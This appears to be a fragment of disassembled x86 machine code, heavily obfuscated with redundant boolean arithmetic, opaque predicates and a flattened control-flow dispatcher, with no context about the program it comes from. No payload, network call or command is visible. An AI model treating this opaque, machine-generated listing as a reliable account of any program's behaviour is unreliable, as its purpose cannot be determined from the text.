or edx, eax
mov eax, dword [ebp - 0x4a1ec]
or ebx, eax
mov eax, dword [ebp - 0x4a1e8]
xor edx, ebx
or eax, edi
xor eax, 0xffffffff
or ecx, 0x8beae8e3
and eax, ecx
or edx, eax
mov eax, 0xffffffff
xor eax, 0xaa9a3c72
and eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xaa9a3c72
or eax, ecx
xor eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
mov dword [ebp - 0x4a1e4], eax
mov ebx, 0xffffffff
xor ebx, 0xffffffff
and ebx, 0x233ece74
mov edi, 0xffffffff
xor edi, 0x233ece74
mov eax, edi
and eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0x233ece74
and edi, 0xffffffff
or ebx, eax
mov eax, dword [ebp - 0x4a1e4]
or ecx, edi
xor ebx, ecx
mov ecx, 0xffffffff
xor ecx, 0xaa9a3c72
xor ebx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x34941881
or ecx, ebx
or edi, 0x34941881
xor ecx, 0xffffffff
and ecx, edi
mov edi, eax
and edi, ecx
xor eax, ecx
or edi, eax
mov ebx, esi
xor ebx, 0xffffffff
mov ecx, edx
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x3657ef18
or ebx, ecx
or eax, 0x3657ef18
xor ebx, 0xffffffff
and ebx, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0xa693a89b
mov dword [ebp - 0x4a1e0], eax
mov eax, 0xffffffff
xor eax, 0xa693a89b
and esi, eax
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0xa693a89b
and edx, eax
mov eax, dword [ebp - 0x4a1e0]
or eax, esi
or ecx, edx
xor eax, ecx
mov edx, ebx
xor edx, 0xffffffff
mov dword [ebp - 0x4a1d4], edx
mov esi, eax
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x4fc84227
and edx, 0x4fc84227
and ebx, ecx
mov dword [ebp - 0x4a1dc], ebx
mov ebx, esi
and ebx, 0x4fc84227
and eax, ecx
mov dword [ebp - 0x4a1d8], eax
mov eax, dword [ebp - 0x4a1dc]
or edx, eax
mov eax, dword [ebp - 0x4a1d8]
or ebx, eax
mov eax, dword [ebp - 0x4a1d4]
xor edx, ebx
or eax, esi
xor eax, 0xffffffff
or ecx, 0x4fc84227
and eax, ecx
or edx, eax
mov eax, edi
xor eax, 0xffffffff
xor eax, 0xaa9a3c72
and eax, 0xaa9a3c72
mov dword [ebp - 0x4a1d0], eax
mov ecx, 0xffffffff
xor ecx, 0xaa9a3c72
and ecx, 0x3c627d1f
mov eax, 0xffffffff
xor eax, 0x3c627d1f
mov ebx, eax
and ebx, 0xaa9a3c72
mov esi, edi
xor esi, 0xffffffff
and esi, 0x3c627d1f
and edi, eax
mov eax, dword [ebp - 0x4a1d0]
or ecx, ebx
or esi, edi
xor ecx, esi
mov edi, eax
and edi, ecx
xor eax, ecx
or edi, eax
mov esi, edx
xor esi, 0xffffffff
and esi, 0x1b4ae31a
mov ecx, 0xffffffff
xor ecx, 0x1b4ae31a
mov ebx, edx
and ebx, ecx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x1b4ae31a
and ecx, 0xffffffff
or esi, ebx
or eax, ecx
xor esi, eax
mov eax, 0xffffffff
xor eax, 0x8791848e
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xe93ebf79
or eax, esi
or ecx, 0xe93ebf79
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x4a1c4], eax
mov ebx, 0xffffffff
xor ebx, 0x8791848e
and ebx, 0xf8856bf9
mov ecx, 0xffffffff
xor ecx, 0xf8856bf9
mov esi, ecx
and esi, 0x8791848e
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xf8856bf9
and ecx, 0xffffffff
or ebx, esi
or eax, ecx
xor ebx, eax
xor edx, 0xffffffff
mov ecx, ebx
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x1776526a
or edx, ecx
or eax, 0x1776526a
xor edx, 0xffffffff
and edx, eax
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0x7df7318a
mov esi, 0xffffffff
xor esi, 0x7df7318a
mov eax, esi
and eax, 0xffffffff
mov dword [ebp - 0x4a1cc], eax
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x7df7318a
mov dword [ebp - 0x4a1c8], eax
mov eax, dword [ebp - 0x4a1cc]
and esi, 0xffffffff
or ecx, eax
mov eax, dword [ebp - 0x4a1c8]
or eax, esi
xor ecx, eax
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x8791848e
mov esi, 0xffffffff
xor esi, 0xce79cb70
or ecx, eax
mov eax, dword [ebp - 0x4a1c4]
or esi, 0xce79cb70
xor ecx, 0xffffffff
and ecx, esi
xor ebx, 0xffffffff
xor ebx, 0xffffffff
and ebx, 0xffffffff
mov dword [ebp - 0x4a1c0], ebx
mov esi, eax
and esi, edx
xor eax, edx
or esi, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x4a1ac], eax
xor ebx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x75e3c496
and eax, 0x75e3c496
mov dword [ebp - 0x4a1bc], eax
and ecx, edx
mov eax, ebx
and eax, 0x75e3c496
mov dword [ebp - 0x4a1b4], eax
mov eax, dword [ebp - 0x4a1c0]
and eax, edx
mov dword [ebp - 0x4a1b8], eax
mov eax, dword [ebp - 0x4a1bc]
or eax, ecx
mov ecx, dword [ebp - 0x4a1b8]
mov dword [ebp - 0x4a1b0], eax
mov eax, dword [ebp - 0x4a1b4]
or eax, ecx
mov ecx, dword [ebp - 0x4a1b0]
xor ecx, eax
mov eax, dword [ebp - 0x4a1ac]
or eax, ebx
xor eax, 0xffffffff
or edx, 0x75e3c496
and eax, edx
or ecx, eax
mov edx, esi
xor edx, 0xffffffff
and edx, 0xa0f24ac6
mov ebx, 0xffffffff
xor ebx, 0xa0f24ac6
and esi, ebx
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xa0f24ac6
and ecx, ebx
or edx, esi
or eax, ecx
xor edx, eax
mov esi, edi
xor esi, 0xffffffff
and esi, 0x43612b8
mov ecx, 0xffffffff
xor ecx, 0x43612b8
and edi, ecx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x43612b8
and ecx, 0xffffffff
or esi, edi
or eax, ecx
xor esi, eax
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0x65e65ea6
mov ebx, 0xffffffff
xor ebx, 0x65e65ea6
mov edi, edx
and edi, ebx
mov eax, esi
xor eax, 0xffffffff
and eax, 0x65e65ea6
and esi, ebx
or ecx, edi
or eax, esi
xor ecx, eax
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x49931], al
mov dword [ebp - 0x49a70], 0x4a3ccbf
jmp 0x42c62f
mov eax, dword [0x501548]
mov ecx, dword [0x501544]
xor esi, esi
sub esi, 0x866d4381
sub esi, 1
add esi, 0x866d4381
xor edx, edx
sub edx, esi
xor edi, edi
sub edi, edx
xor esi, esi
sub esi, 0x84159637
mov edx, eax
sub edx, esi
xor esi, esi
sub esi, edi
sub edx, esi
add edx, 0xd56c0dd4
sub edx, 0x84159637
sub edx, 0xd56c0dd4
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl dl
mov ch, dl
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov dh, dl
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov al, ah
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
mov dh, ah
and dh, bl
mov cl, ch
xor cl, 0xff
and cl, 0xff
and ch, bl
or al, dh
or cl, ch
xor al, cl
mov ch, ah
xor ch, 0xff
mov cl, al
xor cl, ch
and cl, al
mov dh, ah
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov al, ah
and al, ch
or dh, al
mov al, dl
xor al, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 0
or al, dh
or ch, 0
xor al, 0xff
and al, ch
mov ch, dl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and dl, dh
or ch, dl
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov ah, al
and ah, dl
xor al, dl
or ah, al
mov dl, cl
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov al, cl
and al, ch
or dl, al
mov byte [ebp - 0x4a20b], dl
mov dh, ah
xor dh, 0xff
and dh, 0
mov ch, 1
xor ch, 0
mov bl, ah
and bl, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or dh, bl
or al, ch
xor dh, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov ch, 1
xor ch, 1
mov al, dl
xor al, ch
and al, dl
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov dl, 1
xor dl, 0
or cl, ch
or dl, 0
xor cl, 0xff
and cl, dl
mov ch, 1
xor ch, 1
mov dl, dh
xor dl, ch
and dl, dh
mov byte [ebp - 0x4a20f], dl
mov ch, bh
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov byte [ebp - 0x4a210], dl
mov dl, al
xor dl, 0xff
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 0
mov ah, dl
and ah, 0
and al, ch
mov byte [ebp - 0x4a212], al
mov al, bl
and al, 0
mov byte [ebp - 0x4a211], al
mov al, byte [ebp - 0x4a212]
and cl, ch
or ah, al
mov al, byte [ebp - 0x4a211]
or al, cl
mov cl, byte [ebp - 0x4a210]
xor ah, al
mov al, byte [ebp - 0x4a20f]
or dl, bl
xor dl, 0xff
or ch, 0
and dl, ch
or ah, dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x4a20c], dl
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 1
and dl, 0xff
and al, ch
mov byte [ebp - 0x4a20e], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x4a20d], al
mov al, byte [ebp - 0x4a20e]
and cl, ch
or dl, al
mov al, byte [ebp - 0x4a20d]
or al, cl
mov cl, byte [ebp - 0x4a20c]
xor dl, al
mov al, byte [ebp - 0x4a20b]
or cl, bl
xor cl, 0xff
or ch, 1
and cl, ch
or dl, cl
mov bl, ah
xor bl, 0xff
and bl, 0
mov ch, 1
xor ch, 0
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, ch
or bl, ah
or cl, dl
xor bl, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x4a20a], cl
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 1
and cl, 0xff
and al, dl
mov ch, ah
and ch, 0xff
and dh, dl
or cl, al
mov al, byte [ebp - 0x4a20a]
or ch, dh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x4a209], al
mov dl, 1
xor dl, 1
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
mov al, ah
and al, 1
mov dh, ch
and dh, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0x4a209]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3303d9f5
mov ecx, 0x5140830e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov eax, dword [0x501548]
mov ecx, dword [0x501544]
mov edi, 0x18ed2ce8
add edi, 0
sub edi, 0xc2648c92
sub edi, 0x18ed2ce8
sub edi, 0xc7a1840d
sub edi, 1
add edi, 0xc7a1840d
xor edx, edx
sub edx, 0xc2648c92
sub edi, edx
mov edx, eax
sub edx, 0xa86c3aa9
sub edx, 0xa6cc2dc5
add edx, 0xa86c3aa9
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0xa6cc2dc5
sub edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
mov byte [ebp - 0x4a261], al
cmp ecx, 0xa
setl dl
mov byte [ebp - 0x4a25f], dl
mov bh, al
xor bh, 0xff
and bh, 0
mov ah, 1
xor ah, 0
mov ch, al
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or bh, ch
or cl, ah
xor bh, cl
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov cl, 1
xor cl, 1
and cl, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
mov ah, bl
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dh, al
and dh, 0xff
and bh, cl
mov ch, ah
and ch, 0xff
and bl, cl
or dh, bh
or ch, bl
xor dh, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dh, al
mov ah, dl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, dl
and al, cl
or ah, al
mov cl, 1
xor cl, 1
xor ah, 0xff
mov al, 1
xor al, 0
or cl, ah
or al, 0
xor cl, 0xff
and cl, al
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
mov ch, ah
xor ch, 0xff
mov al, dl
xor al, ch
and al, dl
mov ch, 1
xor ch, 1
and ch, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and bl, 1
or ch, bh
or dl, bl
xor ch, dl
mov bl, 1
xor bl, 1
mov dl, ch
xor dl, bl
and dl, ch
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x4a270], bh
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 0
and bh, 0
mov byte [ebp - 0x4a271], bh
and cl, ch
mov bh, bl
and bh, 0
and al, ch
mov byte [ebp - 0x4a26f], al
mov al, byte [ebp - 0x4a271]
or al, cl
mov cl, byte [ebp - 0x4a270]
mov byte [ebp - 0x4a26e], al
mov al, byte [ebp - 0x4a26f]
or bh, al
mov al, byte [ebp - 0x4a26e]
xor al, bh
or cl, bl
xor cl, 0xff
or ch, 0
and cl, ch
or al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
mov ch, cl
and ch, dl
xor cl, 0xff
and al, cl
or ch, al
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
xor cl, 0xff
xor cl, 0
and cl, 0
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov bh, dl
xor bh, 0xff
xor bh, 0
and bh, 0
mov byte [ebp - 0x4a26d], bh
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
mov bl, 1
xor bl, 0
mov al, ah
xor al, bl
and al, ah
mov byte [ebp - 0x4a268], al
mov ah, 1
xor ah, 1
xor dl, 0xff
mov al, 1
xor al, 0
or ah, dl
or al, 0
xor ah, 0xff
and ah, al
mov dl, cl
xor dl, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 1
mov al, dl
and al, 0xff
mov byte [ebp - 0x4a26c], al
and cl, bl
mov al, bh
and al, 0xff
mov byte [ebp - 0x4a26a], al
mov al, byte [ebp - 0x4a26d]
and al, bl
mov byte [ebp - 0x4a26b], al
mov al, byte [ebp - 0x4a26c]
or al, cl
mov cl, byte [ebp - 0x4a26b]
mov byte [ebp - 0x4a269], al
mov al, byte [ebp - 0x4a26a]
or al, cl
mov cl, byte [ebp - 0x4a269]
xor cl, al
mov al, byte [ebp - 0x4a268]
or dl, bh
xor dl, 0xff
or bl, 1
and dl, bl
or cl, dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov ah, cl
xor ah, 0xff
mov al, dl
and al, ah
xor dl, 0xff
and cl, dl
or al, cl
mov byte [ebp - 0x4a224], al
mov cl, dh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, dh
and al, dl
or cl, al
mov al, 1
xor al, 0
and al, 1
mov dl, 1
xor dl, 1
and dl, 0
or al, dl
mov dl, 1
xor dl, 1
and dl, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0
and bl, 1
or dl, bh
or ah, bl
xor dl, ah
mov byte [ebp - 0x4a266], dl
mov dl, cl
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 0
mov bh, dl
and bh, 0
mov byte [ebp - 0x4a267], bh
and cl, ah
mov bh, bl
and bh, 0
and al, ah
mov byte [ebp - 0x4a265], al
mov al, byte [ebp - 0x4a267]
or al, cl
mov cl, byte [ebp - 0x4a266]
mov byte [ebp - 0x4a264], al
mov al, byte [ebp - 0x4a265]
or bh, al
mov al, byte [ebp - 0x4a264]
xor al, bh
or dl, bl
xor dl, 0xff
or ah, 0
and dl, ah
or al, dl
mov byte [ebp - 0x4a260], al
mov ah, 1
xor ah, 1
mov bl, cl
xor bl, 0xff
mov bh, 1
xor bh, 0
mov dl, ah
and dl, 0
mov al, bh
and al, 1
mov byte [ebp - 0x4a263], al
mov al, bl
and al, 0
mov byte [ebp - 0x4a262], al
mov al, byte [ebp - 0x4a263]
and cl, bh
or dl, al
mov al, byte [ebp - 0x4a262]
or al, cl
mov cl, byte [ebp - 0x4a261]
xor dl, al
mov al, byte [ebp - 0x4a260]
or ah, bl
mov bl, byte [ebp - 0x4a224]
xor ah, 0xff
or bh, 0
and ah, bh
or dl, ah
mov bh, al
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
and al, ah
or bh, al
xor bh, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or bh, dl
or al, 0
xor bh, 0xff
and bh, al
mov dl, bl
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
and bl, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, bl
or al, ah
xor dl, al
mov al, cl
xor al, 0xff
mov ah, dl
and ah, al
xor dl, 0xff
mov al, cl
and al, dl
or ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov bl, ch
xor bl, 0xff
and bl, 0
mov cl, 1
xor cl, 0
mov byte [ebp - 0x4a25e], cl
mov al, ch
and al, cl
mov cl, byte [ebp - 0x4a25f]
mov byte [ebp - 0x4a25d], al
mov al, dl
xor al, 0xff
and al, 0
mov byte [ebp - 0x4a25c], al
mov al, byte [ebp - 0x4a25e]
and dl, al
mov al, byte [ebp - 0x4a25d]
or bl, al
mov al, byte [ebp - 0x4a25c]
or al, dl
xor bl, al
mov al, ch
xor al, 0xff
mov dl, bl
xor dl, al
mov al, byte [ebp - 0x4a224]
and dl, bl
mov byte [ebp - 0x4a233], dl
mov dl, cl
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and cl, bl
or dl, cl
mov bl, al
xor bl, 0xff
and bl, 0
mov cl, 1
xor cl, 0
and al, cl
mov byte [ebp - 0x4a25b], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x4a25a], al
mov al, byte [ebp - 0x4a25b]
and cl, 1
or bl, al
mov al, byte [ebp - 0x4a25a]
or al, cl
xor bl, al
mov al, 1
xor al, 0
and al, 1
mov cl, 1
xor cl, 1
and cl, 0
or al, cl
mov byte [ebp - 0x4a259], al
mov cl, dl
and cl, bl
xor dl, bl
or cl, dl
mov byte [ebp - 0x4a254], cl
mov dl, 1
xor dl, 0
xor al, 0xff
mov byte [ebp - 0x4a253], al
mov bl, 1
xor bl, 1
mov cl, dl
and cl, 0xff
mov byte [ebp - 0x4a258], cl
mov cl, bl
and cl, 0
and al, 0xff
mov byte [ebp - 0x4a257], al
mov al, byte [ebp - 0x4a259]
and al, bl
mov byte [ebp - 0x4a256], al
mov al, byte [ebp - 0x4a258]
or al, cl
mov cl, byte [ebp - 0x4a257]
mov byte [ebp - 0x4a255], al
mov al, byte [ebp - 0x4a256]
or cl, al
mov al, byte [ebp - 0x4a255]
xor al, cl
mov cl, byte [ebp - 0x4a254]
mov byte [ebp - 0x4a252], al
mov al, byte [ebp - 0x4a253]
or dl, al
mov al, byte [ebp - 0x4a252]
xor dl, 0xff
or bl, 1
and dl, bl
or al, dl
mov byte [ebp - 0x4a251], al
mov al, cl
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and cl, bl
mov dl, 1
xor dl, 1
and dl, 0xff
and bl, 1
or al, cl
mov cl, byte [ebp - 0x4a251]
or dl, bl
xor al, dl
xor cl, 0xff
mov dl, al
xor dl, cl
and dl, al
mov al, bh
xor al, 0xff
and al, 0
mov byte [ebp - 0x4a250], al
mov bl, 1
xor bl, 0
mov cl, bh
and cl, bl
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x4a24f], al
mov al, byte [ebp - 0x4a250]
and bl, 1
or al, cl
mov cl, byte [ebp - 0x4a24f]
or cl, bl
xor al, cl
mov byte [ebp - 0x4a242], al
mov cl, ah
xor cl, 0xff
and cl, 1
mov al, 1
xor al, 1
mov bl, ah
and bl, al
mov byte [ebp - 0x4a24e], bl
mov bl, 1
xor bl, 1
and bl, 0xff
and al, 1
mov byte [ebp - 0x4a24d], al
mov al, byte [ebp - 0x4a24e]
or cl, al
mov al, byte [ebp - 0x4a24d]
or bl, al
mov al, byte [ebp - 0x4a242]
xor cl, bl
mov byte [ebp - 0x4a243], cl
mov bl, 1
xor bl, 0
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0
or bl, cl
mov byte [ebp - 0x4a23f], bl
mov cl, 1
xor cl, 0
xor al, cl
mov cl, byte [ebp - 0x4a242]
and al, cl
xor bl, 0xff
mov cl, bh
xor cl, bl
mov bl, byte [ebp - 0x4a243]
and cl, bh
mov bh, 1
xor bh, 0
xor bl, bh
mov bh, byte [ebp - 0x4a243]
and bl, bh
mov bh, byte [ebp - 0x4a23f]
mov byte [ebp - 0x4a248], bl
xor ah, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 0
or ah, bh
or bl, 0
xor ah, 0xff
and ah, bl
mov byte [ebp - 0x4a24a], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0x4a249], bl
mov bh, 1
xor bh, 0
mov bl, ah
and bl, 0
and al, bh
mov byte [ebp - 0x4a24c], al
mov al, byte [ebp - 0x4a249]
and al, 0
mov byte [ebp - 0x4a24b], al
mov al, byte [ebp - 0x4a24c]
and cl, bh
or bl, al
mov al, byte [ebp - 0x4a24b]
or al, cl
mov cl, byte [ebp - 0x4a24a]
xor bl, al
mov al, byte [ebp - 0x4a249]
or ah, al
mov al, byte [ebp - 0x4a248]
xor ah, 0xff
or bh, 0
and ah, bh
or bl, ah
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x4a244], bh
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0x4a245], ah
mov ah, 1
xor ah, 0
and bh, 0
and al, ah
mov byte [ebp - 0x4a247], al
mov al, byte [ebp - 0x4a245]
and al, 0
mov byte [ebp - 0x4a246], al
mov al, byte [ebp - 0x4a247]
and cl, ah
or bh, al
mov al, byte [ebp - 0x4a246]
or al, cl
mov cl, byte [ebp - 0x4a245]
xor bh, al
mov al, byte [ebp - 0x4a244]
or al, cl
mov cl, byte [ebp - 0x4a243]
xor al, 0xff
or ah, 0
and al, ah
or bh, al
mov al, bl
xor al, 0xff
mov ah, bh
and ah, al
mov al, byte [ebp - 0x4a242]
xor bh, 0xff
and bl, bh
or ah, bl
mov byte [ebp - 0x4a23b], ah
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x4a23e], bh
mov bl, cl
xor bl, 0xff
mov ah, 1
xor ah, 1
and bh, 0xff
and al, ah
mov byte [ebp - 0x4a241], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x4a240], al
mov al, byte [ebp - 0x4a241]
and cl, ah
or bh, al
mov al, byte [ebp - 0x4a240]
or al, cl
mov cl, byte [ebp - 0x4a23f]
xor bh, al
mov al, byte [ebp - 0x4a23e]
or al, bl
xor al, 0xff
or ah, 1
and al, ah
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and bh, bl
mov ah, 1
xor ah, 1
and ah, 0xff
and bl, 1
or al, bh
or ah, bl
xor al, ah
mov byte [ebp - 0x4a239], al
mov bl, 1
xor bl, 0
mov al, cl
xor al, 0xff
mov byte [ebp - 0x4a23a], al
mov bh, 1
xor bh, 0
mov ah, bl
and ah, 0
mov al, bh
and al, 0
mov byte [ebp - 0x4a23d], al
mov al, byte [ebp - 0x4a23a]
and al, 0
mov byte [ebp - 0x4a23c], al
mov al, byte [ebp - 0x4a23d]
and cl, bh
or ah, al
mov al, byte [ebp - 0x4a23c]
or al, cl
mov cl, byte [ebp - 0x4a23b]
xor ah, al
mov al, byte [ebp - 0x4a23a]
or bl, al
mov al, byte [ebp - 0x4a239]
xor bl, 0xff
or bh, 0
and bl, bh
or ah, bl
xor ah, 0xff
mov bh, al
xor bh, ah
and bh, al
mov byte [ebp - 0x4a238], bh
mov ah, cl
xor ah, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 1
mov al, ah
and al, 0xff
mov byte [ebp - 0x4a237], al
and cl, bl
mov al, bh
and al, 0xff
mov byte [ebp - 0x4a236], al
mov al, byte [ebp - 0x4a238]
and al, bl
mov byte [ebp - 0x4a235], al
mov al, byte [ebp - 0x4a237]
or al, cl
mov cl, byte [ebp - 0x4a236]
mov byte [ebp - 0x4a234], al
mov al, byte [ebp - 0x4a235]
or cl, al
mov al, byte [ebp - 0x4a234]
xor al, cl
mov cl, byte [ebp - 0x4a233]
or ah, bh
xor ah, 0xff
or bl, 1
and ah, bl
or al, ah
mov byte [ebp - 0x4a230], al
mov bh, cl
xor bh, 0xff
mov ah, dl
xor ah, 0xff
mov al, 1
xor al, 0
or bh, ah
or al, 0
xor bh, 0xff
and bh, al
mov ah, cl
xor ah, 0xff
mov al, dl
and al, ah
xor dl, 0xff
and cl, dl
or al, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 0
mov dl, cl
and dl, 0
and bh, ah
mov byte [ebp - 0x4a232], bh
mov bh, bl
and bh, 0
and al, ah
mov byte [ebp - 0x4a231], al
mov al, byte [ebp - 0x4a232]
or dl, al
mov al, byte [ebp - 0x4a231]
or bh, al
mov al, byte [ebp - 0x4a230]
xor dl, bh
or cl, bl
xor cl, 0xff
or ah, 0
and cl, ah
or dl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and al, ah
or cl, al
xor cl, 0xff
xor cl, 0
and cl, 0
mov ah, 1
xor ah, 0
and ah, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 0
mov bl, 1
xor bl, 1
and bl, 0
and bh, 1
or ah, al
mov al, byte [ebp - 0x4a230]
or bl, bh
xor ah, bl
xor al, 0xff
mov bh, ah
xor bh, 0xff
mov bl, 1
xor bl, 1
or al, bh
or bl, 1
xor al, 0xff
and al, bl
mov byte [ebp - 0x4a22d], al
mov bh, dl
xor bh, 0xff
and bh, 0
mov bl, 1
xor bl, 0
mov al, dl
and al, bl
mov byte [ebp - 0x4a22f], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x4a22e], al
mov al, byte [ebp - 0x4a22f]
and bl, 1
or bh, al
mov al, byte [ebp - 0x4a22e]
or al, bl
xor bh, al
xor bh, 0xff
mov bl, 1
xor bl, 0
mov al, 1
xor al, 1
or bh, bl
mov bl, byte [ebp - 0x4a22d]
or al, 1
xor bh, 0xff
and bh, al
xor ah, 0xff
mov al, dl
xor al, ah
and al, dl
mov byte [ebp - 0x4a228], al
mov dl, cl
xor dl, 0xff
xor bl, 0xff
mov ah, 1
xor ah, 0
mov al, dl
and al, 0
mov byte [ebp - 0x4a22c], al
and cl, ah
mov al, bl
and al, 0
mov byte [ebp - 0x4a22a], al
mov al, byte [ebp - 0x4a22d]
and al, ah
mov byte [ebp - 0x4a22b], al
mov al, byte [ebp - 0x4a22c]
or al, cl
mov cl, byte [ebp - 0x4a22b]
mov byte [ebp - 0x4a229], al
mov al, byte [ebp - 0x4a22a]
or al, cl
mov cl, byte [ebp - 0x4a229]
xor cl, al
mov al, byte [ebp - 0x4a228]
or dl, bl
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
mov byte [ebp - 0x4a225], cl
mov dl, bh
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
and bh, ah
mov byte [ebp - 0x4a227], bh
mov bh, bl
and bh, 0
and al, ah
mov byte [ebp - 0x4a226], al
mov al, byte [ebp - 0x4a227]
or cl, al
